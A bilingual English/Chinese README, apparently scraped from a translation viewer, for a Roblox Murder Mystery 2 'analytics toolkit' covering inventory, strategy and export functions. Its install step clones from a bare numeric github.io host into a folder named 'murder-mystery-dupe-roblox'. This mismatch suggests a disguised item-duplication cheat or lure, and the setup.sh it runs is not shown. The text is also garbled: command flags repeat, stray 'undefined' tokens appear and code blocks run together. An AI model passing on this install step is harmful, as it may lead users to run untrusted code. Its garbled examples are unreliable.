roblox-mm2-analytics-toolkit
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseRoblox MM2 Analytics Toolkit
Roblox MM2分析工具包
Overview
概述
The Murder Mystery 2 Analytics Toolkit is a comprehensive data analysis and inventory management system for Roblox's Murder Mystery 2 game. It provides inventory tracking, performance analytics, strategy optimization, and collection management through a local analytical engine.
Key Capabilities:
- Inventory tracking and cataloging (knife skins, gamepasses)
- Analytics dashboard with data visualization
- Performance metrics and win/loss tracking
- Strategy pattern analysis
- Collection completionist tools
- Export functionality (CSV, JSON)
Murder Mystery 2分析工具包是针对Roblox平台《Murder Mystery 2》游戏的一套综合性数据分析与库存管理系统。它通过本地分析引擎提供库存追踪、性能分析、策略优化和收藏管理功能。
核心功能:
- 库存追踪与分类(刀具皮肤、游戏通行证)
- 带数据可视化的分析仪表盘
- 性能指标与胜负追踪
- 策略模式分析
- 收藏完成度工具
- 导出功能(CSV、JSON)
Installation
安装
Automated Installation
自动安装
bash
chmod +x setup.sh
./setup.sh --installbash
chmod +x setup.sh
./setup.sh --installManual Installation
手动安装
bash
git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox
npm install
python3 -m pip install -r requirements.txtbash
git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox
npm install
python3 -m pip install -r requirements.txtEnvironment Setup
环境配置
Create a file:
.envbash
API_OPENAI_KEY=${OPENAI_API_KEY}
API_CLAUDE_KEY=${CLAUDE_API_KEY}
DATA_DIRECTORY=./data/collections
ANALYTICS_INTERVAL=300
ENABLE_LIVE_TRACKING=true
LOG_LEVEL=INFO创建 文件:
.envbash
API_OPENAI_KEY=${OPENAI_API_KEY}
API_CLAUDE_KEY=${CLAUDE_API_KEY}
DATA_DIRECTORY=./data/collections
ANALYTICS_INTERVAL=300
ENABLE_LIVE_TRACKING=true
LOG_LEVEL=INFOCore Commands
核心命令
Analytics Engine
分析引擎
bash
undefinedbash
undefinedRun comprehensive analytics
运行全面分析
python3 main.py --mode analytics --profile <profile_name>
python3 main.py --mode analytics --profile <profile_name>
Export statistics
导出统计数据
python3 main.py --mode analytics
--profile mystery_solver_01
--export statistics_2026.json
--format json
--verbose
--profile mystery_solver_01
--export statistics_2026.json
--format json
--verbose
python3 main.py --mode analytics
--profile mystery_solver_01
--export statistics_2026.json
--format json
--verbose
--profile mystery_solver_01
--export statistics_2026.json
--format json
--verbose
Real-time tracking mode
实时追踪模式
python3 main.py --mode live
--profile <profile_name>
--interval 60
--log-level DEBUG
--profile <profile_name>
--interval 60
--log-level DEBUG
undefinedpython3 main.py --mode live
--profile <profile_name>
--interval 60
--log-level DEBUG
--profile <profile_name>
--interval 60
--log-level DEBUG
undefinedInventory Management
库存管理
bash
undefinedbash
undefinedScan inventory
扫描库存
python3 main.py --mode inventory
--scan
--profile <profile_name>
--scan
--profile <profile_name>
python3 main.py --mode inventory
--scan
--profile <profile_name>
--scan
--profile <profile_name>
Filter by category
按类别筛选
python3 main.py --mode inventory
--category knife_skins
--rarity legendary,ancient
--category knife_skins
--rarity legendary,ancient
python3 main.py --mode inventory
--category knife_skins
--rarity legendary,ancient
--category knife_skins
--rarity legendary,ancient
Collection completionist check
收藏完成度检查
python3 main.py --mode inventory
--check-completionist
--export missing_items.json
--check-completionist
--export missing_items.json
undefinedpython3 main.py --mode inventory
--check-completionist
--export missing_items.json
--check-completionist
--export missing_items.json
undefinedStrategy Analysis
策略分析
bash
undefinedbash
undefinedAnalyze gameplay patterns
分析游戏模式
python3 main.py --mode strategy
--analyze
--role sheriff
--sessions 50
--analyze
--role sheriff
--sessions 50
python3 main.py --mode strategy
--analyze
--role sheriff
--sessions 50
--analyze
--role sheriff
--sessions 50
Generate strategy recommendations
生成策略建议
python3 main.py --mode strategy
--recommend
--preferred-role murderer
--output recommendations.txt
--recommend
--preferred-role murderer
--output recommendations.txt
undefinedpython3 main.py --mode strategy
--recommend
--preferred-role murderer
--output recommendations.txt
--recommend
--preferred-role murderer
--output recommendations.txt
undefinedConfiguration
配置
Profile Configuration (YAML)
配置文件(YAML)
Create :
profiles/<username>.yamlyaml
profile:
username: "MysterySolver2026"
preferred_role: "sheriff"
inventory_filter:
- category: "knife_skins"
rarity: ["legendary", "ancient"]
- category: "gamepasses"
active: true
analytics_preferences:
tracking_mode: "comprehensive"
data_refresh_rate: 30
export_format: "csv, json"
enable_ai_insights: true
strategy_templates:
- name: "aggressive_sheriff"
priority: "high_visibility_areas"
tactics: ["quick_elimination", "crowd_monitoring"]
- name: "passive_innocent"
priority: "distraction_avoidance"
tactics: ["stealth_movement", "group_safety"]
- name: "stealth_murderer"
priority: "isolated_targets"
tactics: ["ambush", "distraction_creation"]创建 :
profiles/<username>.yamlyaml
profile:
username: "MysterySolver2026"
preferred_role: "sheriff"
inventory_filter:
- category: "knife_skins"
rarity: ["legendary", "ancient"]
- category: "gamepasses"
active: true
analytics_preferences:
tracking_mode: "comprehensive"
data_refresh_rate: 30
export_format: "csv, json"
enable_ai_insights: true
strategy_templates:
- name: "aggressive_sheriff"
priority: "high_visibility_areas"
tactics: ["quick_elimination", "crowd_monitoring"]
- name: "passive_innocent"
priority: "distraction_avoidance"
tactics: ["stealth_movement", "group_safety"]
- name: "stealth_murderer"
priority: "isolated_targets"
tactics: ["ambush", "distraction_creation"]Analytics Configuration (JSON)
分析配置(JSON)
Create :
config/analytics.jsonjson
{
"data_collection": {
"enabled": true,
"interval_seconds": 300,
"metrics": [
"win_rate",
"role_performance",
"survival_time",
"elimination_stats"
]
},
"visualization": {
"dashboard_port": 8080,
"auto_refresh": true,
"chart_types": ["line", "bar", "pie", "scatter"]
},
"export": {
"auto_export": true,
"formats": ["json", "csv"],
"directory": "./exports"
}
}创建 :
config/analytics.jsonjson
{
"data_collection": {
"enabled": true,
"interval_seconds": 300,
"metrics": [
"win_rate",
"role_performance",
"survival_time",
"elimination_stats"
]
},
"visualization": {
"dashboard_port": 8080,
"auto_refresh": true,
"chart_types": ["line", "bar", "pie", "scatter"]
},
"export": {
"auto_export": true,
"formats": ["json", "csv"],
"directory": "./exports"
}
}Python API Usage
Python API 使用
Initialize Analytics Engine
初始化分析引擎
python
from mm2_analytics import AnalyticsEngine, InventoryManager, StrategyAnalyzer
import ospython
from mm2_analytics import AnalyticsEngine, InventoryManager, StrategyAnalyzer
import osInitialize with environment variables
用环境变量初始化
engine = AnalyticsEngine(
api_key=os.getenv('API_OPENAI_KEY'),
data_dir=os.getenv('DATA_DIRECTORY', './data')
)
engine = AnalyticsEngine(
api_key=os.getenv('API_OPENAI_KEY'),
data_dir=os.getenv('DATA_DIRECTORY', './data')
)
Load user profile
加载用户配置
profile = engine.load_profile('mystery_solver_01')
print(f"Loaded profile: {profile.username}")
undefinedprofile = engine.load_profile('mystery_solver_01')
print(f"Loaded profile: {profile.username}")
undefinedInventory Tracking
库存追踪
python
from mm2_analytics import InventoryManagerpython
from mm2_analytics import InventoryManagerInitialize inventory manager
初始化库存管理器
inventory = InventoryManager(profile='mystery_solver_01')
inventory = InventoryManager(profile='mystery_solver_01')
Scan current inventory
扫描当前库存
items = inventory.scan()
print(f"Total items: {len(items)}")
items = inventory.scan()
print(f"Total items: {len(items)}")
Filter knife skins by rarity
按稀有度筛选刀具皮肤
legendary_knives = inventory.filter(
category='knife_skins',
rarity=['legendary', 'ancient']
)
for knife in legendary_knives:
print(f"- {knife.name} (Rarity: {knife.rarity})")
legendary_knives = inventory.filter(
category='knife_skins',
rarity=['legendary', 'ancient']
)
for knife in legendary_knives:
print(f"- {knife.name} (Rarity: {knife.rarity})")
Export inventory
导出库存
inventory.export('my_inventory.json', format='json')
undefinedinventory.export('my_inventory.json', format='json')
undefinedAnalytics and Metrics
分析与指标
python
from mm2_analytics import MetricsCollectorpython
from mm2_analytics import MetricsCollectorInitialize metrics collector
初始化指标收集器
metrics = MetricsCollector(profile='mystery_solver_01')
metrics = MetricsCollector(profile='mystery_solver_01')
Collect performance data
收集性能数据
stats = metrics.collect_stats(sessions=100)
print(f"Win Rate: {stats.win_rate:.2f}%")
print(f"Avg Survival Time: {stats.avg_survival_time}s")
print(f"Role Performance:")
for role, perf in stats.role_performance.items():
print(f" {role}: {perf:.2f}%")
stats = metrics.collect_stats(sessions=100)
print(f"Win Rate: {stats.win_rate:.2f}%")
print(f"Avg Survival Time: {stats.avg_survival_time}s")
print(f"Role Performance:")
for role, perf in stats.role_performance.items():
print(f" {role}: {perf:.2f}%")
Generate visualization
生成可视化图表
metrics.visualize(
output='dashboard.html',
chart_types=['line', 'bar', 'pie']
)
undefinedmetrics.visualize(
output='dashboard.html',
chart_types=['line', 'bar', 'pie']
)
undefinedStrategy Analysis
策略分析
python
from mm2_analytics import StrategyAnalyzerpython
from mm2_analytics import StrategyAnalyzerInitialize strategy analyzer
初始化策略分析器
analyzer = StrategyAnalyzer(
profile='mystery_solver_01',
ai_enabled=True,
api_key=os.getenv('API_OPENAI_KEY')
)
analyzer = StrategyAnalyzer(
profile='mystery_solver_01',
ai_enabled=True,
api_key=os.getenv('API_OPENAI_KEY')
)
Analyze patterns
分析模式
patterns = analyzer.analyze_patterns(
role='sheriff',
min_sessions=50
)
print("Successful Patterns:")
for pattern in patterns.successful:
print(f"- {pattern.name}: {pattern.success_rate:.2f}%")
patterns = analyzer.analyze_patterns(
role='sheriff',
min_sessions=50
)
print("Successful Patterns:")
for pattern in patterns.successful:
print(f"- {pattern.name}: {pattern.success_rate:.2f}%")
Get AI recommendations
获取AI建议
recommendations = analyzer.get_ai_recommendations(
preferred_role='murderer',
playstyle='aggressive'
)
for rec in recommendations:
print(f"\n{rec.title}")
print(f"Description: {rec.description}")
print(f"Expected improvement: {rec.improvement_estimate}%")
undefinedrecommendations = analyzer.get_ai_recommendations(
preferred_role='murderer',
playstyle='aggressive'
)
for rec in recommendations:
print(f"\n{rec.title}")
print(f"Description: {rec.description}")
print(f"Expected improvement: {rec.improvement_estimate}%")
undefinedData Export
数据导出
python
from mm2_analytics import DataExporterpython
from mm2_analytics import DataExporterInitialize exporter
初始化导出器
exporter = DataExporter(
data_dir='./data',
export_dir='./exports'
)
exporter = DataExporter(
data_dir='./data',
export_dir='./exports'
)
Export comprehensive statistics
导出全面统计数据
exporter.export_stats(
profile='mystery_solver_01',
format='json',
filename='comprehensive_stats_2026.json',
include_ai_insights=True
)
exporter.export_stats(
profile='mystery_solver_01',
format='json',
filename='comprehensive_stats_2026.json',
include_ai_insights=True
)
Export as CSV for spreadsheet analysis
导出为CSV用于表格分析
exporter.export_stats(
profile='mystery_solver_01',
format='csv',
filename='stats_2026.csv',
metrics=['win_rate', 'role_performance', 'survival_time']
)
exporter.export_stats(
profile='mystery_solver_01',
format='csv',
filename='stats_2026.csv',
metrics=['win_rate', 'role_performance', 'survival_time']
)
Batch export multiple profiles
批量导出多个配置
exporter.batch_export(
profiles=['profile1', 'profile2', 'profile3'],
format='json',
combine=True,
output='team_statistics.json'
)
undefinedexporter.batch_export(
profiles=['profile1', 'profile2', 'profile3'],
format='json',
combine=True,
output='team_statistics.json'
)
undefinedLive Tracking
实时追踪
python
from mm2_analytics import LiveTracker
import asynciopython
from mm2_analytics import LiveTracker
import asyncioInitialize live tracker
初始化实时追踪器
tracker = LiveTracker(
profile='mystery_solver_01',
interval=60
)
tracker = LiveTracker(
profile='mystery_solver_01',
interval=60
)
Start tracking session
启动追踪会话
async def track_session():
await tracker.start()
# Track for 2 hours
await asyncio.sleep(7200)
# Stop and export
session_data = await tracker.stop()
tracker.export(session_data, 'live_session_2026.json')async def track_session():
await tracker.start()
# 追踪2小时
await asyncio.sleep(7200)
# 停止并导出
session_data = await tracker.stop()
tracker.export(session_data, 'live_session_2026.json')Run tracker
运行追踪器
asyncio.run(track_session())
undefinedasyncio.run(track_session())
undefinedCommon Patterns
常见模式
Complete Workflow Example
完整工作流示例
python
import os
from mm2_analytics import (
AnalyticsEngine,
InventoryManager,
MetricsCollector,
StrategyAnalyzer,
DataExporter
)
def analyze_mm2_performance(username: str):
"""Complete MM2 analysis workflow"""
# 1. Initialize engine
engine = AnalyticsEngine(
api_key=os.getenv('API_OPENAI_KEY'),
data_dir='./data'
)
# 2. Load profile
profile = engine.load_profile(username)
# 3. Scan inventory
inventory = InventoryManager(profile=username)
items = inventory.scan()
print(f"Inventory: {len(items)} items")
# Filter valuable items
valuable = inventory.filter(
category='knife_skins',
rarity=['legendary', 'ancient']
)
print(f"Valuable knives: {len(valuable)}")
# 4. Collect metrics
metrics = MetricsCollector(profile=username)
stats = metrics.collect_stats(sessions=100)
print(f"\nPerformance Summary:")
print(f"Win Rate: {stats.win_rate:.2f}%")
print(f"Best Role: {stats.best_role}")
# 5. Analyze strategy
analyzer = StrategyAnalyzer(
profile=username,
ai_enabled=True,
api_key=os.getenv('API_OPENAI_KEY')
)
recommendations = analyzer.get_ai_recommendations(
preferred_role=profile.preferred_role,
playstyle='adaptive'
)
print(f"\nStrategy Recommendations:")
for rec in recommendations[:3]:
print(f"- {rec.title}")
# 6. Export comprehensive report
exporter = DataExporter(export_dir='./exports')
exporter.export_comprehensive_report(
profile=username,
include_inventory=True,
include_metrics=True,
include_strategy=True,
include_ai_insights=True,
output=f'{username}_report_2026.json'
)
print(f"\nReport exported: {username}_report_2026.json")python
import os
from mm2_analytics import (
AnalyticsEngine,
InventoryManager,
MetricsCollector,
StrategyAnalyzer,
DataExporter
)
def analyze_mm2_performance(username: str):
"""完整的MM2分析工作流"""
# 1. 初始化引擎
engine = AnalyticsEngine(
api_key=os.getenv('API_OPENAI_KEY'),
data_dir='./data'
)
# 2. 加载配置
profile = engine.load_profile(username)
# 3. 扫描库存
inventory = InventoryManager(profile=username)
items = inventory.scan()
print(f"Inventory: {len(items)} items")
# 筛选高价值物品
valuable = inventory.filter(
category='knife_skins',
rarity=['legendary', 'ancient']
)
print(f"Valuable knives: {len(valuable)}")
# 4. 收集指标
metrics = MetricsCollector(profile=username)
stats = metrics.collect_stats(sessions=100)
print(f"\nPerformance Summary:")
print(f"Win Rate: {stats.win_rate:.2f}%")
print(f"Best Role: {stats.best_role}")
# 5. 分析策略
analyzer = StrategyAnalyzer(
profile=username,
ai_enabled=True,
api_key=os.getenv('API_OPENAI_KEY')
)
recommendations = analyzer.get_ai_recommendations(
preferred_role=profile.preferred_role,
playstyle='adaptive'
)
print(f"\nStrategy Recommendations:")
for rec in recommendations[:3]:
print(f"- {rec.title}")
# 6. 导出全面报告
exporter = DataExporter(export_dir='./exports')
exporter.export_comprehensive_report(
profile=username,
include_inventory=True,
include_metrics=True,
include_strategy=True,
include_ai_insights=True,
output=f'{username}_report_2026.json'
)
print(f"\nReport exported: {username}_report_2026.json")Run analysis
运行分析
analyze_mm2_performance('mystery_solver_01')
undefinedanalyze_mm2_performance('mystery_solver_01')
undefinedInventory Completionist Check
收藏完成度检查
python
from mm2_analytics import InventoryManager, CollectionTracker
def check_collection_completeness(username: str):
"""Check collection completeness and identify missing items"""
inventory = InventoryManager(profile=username)
tracker = CollectionTracker(inventory)
# Get collection status
status = tracker.get_completeness()
print(f"Collection Completeness: {status.percentage:.2f}%")
print(f"Total Items: {status.total}")
print(f"Owned: {status.owned}")
print(f"Missing: {status.missing}")
# Get missing items by category
missing_by_category = tracker.get_missing_by_category()
for category, items in missing_by_category.items():
print(f"\n{category.upper()} - Missing {len(items)}:")
for item in items[:5]: # Show top 5
print(f" - {item.name} (Rarity: {item.rarity})")
# Export missing items list
tracker.export_missing_items('missing_items.json')
check_collection_completeness('mystery_solver_01')python
from mm2_analytics import InventoryManager, CollectionTracker
def check_collection_completeness(username: str):
"""检查收藏完成度并识别缺失物品"""
inventory = InventoryManager(profile=username)
tracker = CollectionTracker(inventory)
# 获取收藏状态
status = tracker.get_completeness()
print(f"Collection Completeness: {status.percentage:.2f}%")
print(f"Total Items: {status.total}")
print(f"Owned: {status.owned}")
print(f"Missing: {status.missing}")
# 按类别获取缺失物品
missing_by_category = tracker.get_missing_by_category()
for category, items in missing_by_category.items():
print(f"\n{category.upper()} - Missing {len(items)}:")
for item in items[:5]: # 显示前5个
print(f" - {item.name} (Rarity: {item.rarity})")
# 导出缺失物品列表
tracker.export_missing_items('missing_items.json')
check_collection_completeness('mystery_solver_01')Multi-Profile Comparison
多配置对比
python
from mm2_analytics import ProfileComparator
def compare_profiles(profile_names: list):
"""Compare performance across multiple profiles"""
comparator = ProfileComparator(profiles=profile_names)
# Get comparative stats
comparison = comparator.compare(
metrics=['win_rate', 'survival_time', 'role_performance']
)
print("Profile Comparison:")
for profile_name in profile_names:
stats = comparison[profile_name]
print(f"\n{profile_name}:")
print(f" Win Rate: {stats.win_rate:.2f}%")
print(f" Avg Survival: {stats.avg_survival}s")
print(f" Best Role: {stats.best_role}")
# Visualize comparison
comparator.visualize_comparison(
output='profile_comparison.html',
chart_type='radar'
)
compare_profiles(['profile1', 'profile2', 'profile3'])python
from mm2_analytics import ProfileComparator
def compare_profiles(profile_names: list):
"""对比多个配置的性能"""
comparator = ProfileComparator(profiles=profile_names)
# 获取对比统计数据
comparison = comparator.compare(
metrics=['win_rate', 'survival_time', 'role_performance']
)
print("Profile Comparison:")
for profile_name in profile_names:
stats = comparison[profile_name]
print(f"\n{profile_name}:")
print(f" Win Rate: {stats.win_rate:.2f}%")
print(f" Avg Survival: {stats.avg_survival}s")
print(f" Best Role: {stats.best_role}")
# 可视化对比结果
comparator.visualize_comparison(
output='profile_comparison.html',
chart_type='radar'
)
compare_profiles(['profile1', 'profile2', 'profile3'])Troubleshooting
故障排除
API Key Issues
API密钥问题
python
import ospython
import osVerify environment variables are set
验证环境变量是否已设置
required_vars = ['API_OPENAI_KEY', 'API_CLAUDE_KEY']
for var in required_vars:
if not os.getenv(var):
print(f"WARNING: {var} not set")
undefinedrequired_vars = ['API_OPENAI_KEY', 'API_CLAUDE_KEY']
for var in required_vars:
if not os.getenv(var):
print(f"WARNING: {var} not set")
undefinedData Directory Permissions
数据目录权限
bash
undefinedbash
undefinedEnsure data directory exists and is writable
确保数据目录存在且可写
mkdir -p ./data/collections
chmod 755 ./data/collections
undefinedmkdir -p ./data/collections
chmod 755 ./data/collections
undefinedProfile Not Found
配置未找到
python
from mm2_analytics import AnalyticsEngine
engine = AnalyticsEngine()
try:
profile = engine.load_profile('username')
except FileNotFoundError:
print("Profile not found. Creating new profile...")
profile = engine.create_profile(
username='username',
preferred_role='sheriff'
)
profile.save()python
from mm2_analytics import AnalyticsEngine
engine = AnalyticsEngine()
try:
profile = engine.load_profile('username')
except FileNotFoundError:
print("Profile not found. Creating new profile...")
profile = engine.create_profile(
username='username',
preferred_role='sheriff'
)
profile.save()Export Failures
导出失败
python
from mm2_analytics import DataExporter
exporter = DataExporter(export_dir='./exports')
try:
exporter.export_stats('profile', format='json')
except PermissionError:
print("Permission denied. Check export directory permissions.")
except Exception as e:
print(f"Export failed: {e}")
# Fallback to alternative location
exporter = DataExporter(export_dir='/tmp/mm2_exports')
exporter.export_stats('profile', format='json')python
from mm2_analytics import DataExporter
exporter = DataExporter(export_dir='./exports')
try:
exporter.export_stats('profile', format='json')
except PermissionError:
print("Permission denied. Check export directory permissions.")
except Exception as e:
print(f"Export failed: {e}")
# fallback到备用位置
exporter = DataExporter(export_dir='/tmp/mm2_exports')
exporter.export_stats('profile', format='json')Verbose Logging
详细日志
bash
undefinedbash
undefinedEnable debug logging
启用调试日志
export LOG_LEVEL=DEBUG
python3 main.py --mode analytics --verbose --log-level DEBUG
```python
import loggingexport LOG_LEVEL=DEBUG
python3 main.py --mode analytics --verbose --log-level DEBUG
```python
import loggingConfigure logging in Python
在Python中配置日志
logging.basicConfig(
level=logging.DEBUG,
format='[%(asctime)s] %(levelname)s: %(message)s'
)
undefinedlogging.basicConfig(
level=logging.DEBUG,
format='[%(asctime)s] %(levelname)s: %(message)s'
)
undefinedAdvanced Features
高级功能
AI-Powered Insights
AI驱动的洞察
python
from mm2_analytics import AIInsightGenerator
generator = AIInsightGenerator(
openai_key=os.getenv('API_OPENAI_KEY'),
claude_key=os.getenv('API_CLAUDE_KEY')
)python
from mm2_analytics import AIInsightGenerator
generator = AIInsightGenerator(
openai_key=os.getenv('API_OPENAI_KEY'),
claude_key=os.getenv('API_CLAUDE_KEY')
)Generate insights from session data
从会话数据生成洞察
insights = generator.analyze_session(
profile='mystery_solver_01',
session_id='session_123',
include_predictions=True
)
print("AI Insights:")
for insight in insights:
print(f"\n{insight.category}: {insight.text}")
print(f"Confidence: {insight.confidence:.2f}")
undefinedinsights = generator.analyze_session(
profile='mystery_solver_01',
session_id='session_123',
include_predictions=True
)
print("AI Insights:")
for insight in insights:
print(f"\n{insight.category}: {insight.text}")
print(f"Confidence: {insight.confidence:.2f}")
undefinedCustom Strategy Templates
自定义策略模板
python
from mm2_analytics import StrategyTemplatepython
from mm2_analytics import StrategyTemplateDefine custom strategy
定义自定义策略
template = StrategyTemplate(
name='ninja_murderer',
role='murderer',
tactics=[
'stealth_movement',
'isolated_targeting',
'crowd_avoidance'
],
priority_areas=['shadows', 'corners', 'secondary_rooms'],
success_metrics=['low_detection_rate', 'high_elimination_speed']
)
template = StrategyTemplate(
name='ninja_murderer',
role='murderer',
tactics=[
'stealth_movement',
'isolated_targeting',
'crowd_avoidance'
],
priority_areas=['shadows', 'corners', 'secondary_rooms'],
success_metrics=['low_detection_rate', 'high_elimination_speed']
)
Save template
保存模板
template.save('strategies/ninja_murderer.yaml')
template.save('strategies/ninja_murderer.yaml')
Apply to analyzer
应用到分析器
analyzer = StrategyAnalyzer(profile='mystery_solver_01')
analyzer.apply_template(template)
undefinedanalyzer = StrategyAnalyzer(profile='mystery_solver_01')
analyzer.apply_template(template)
undefined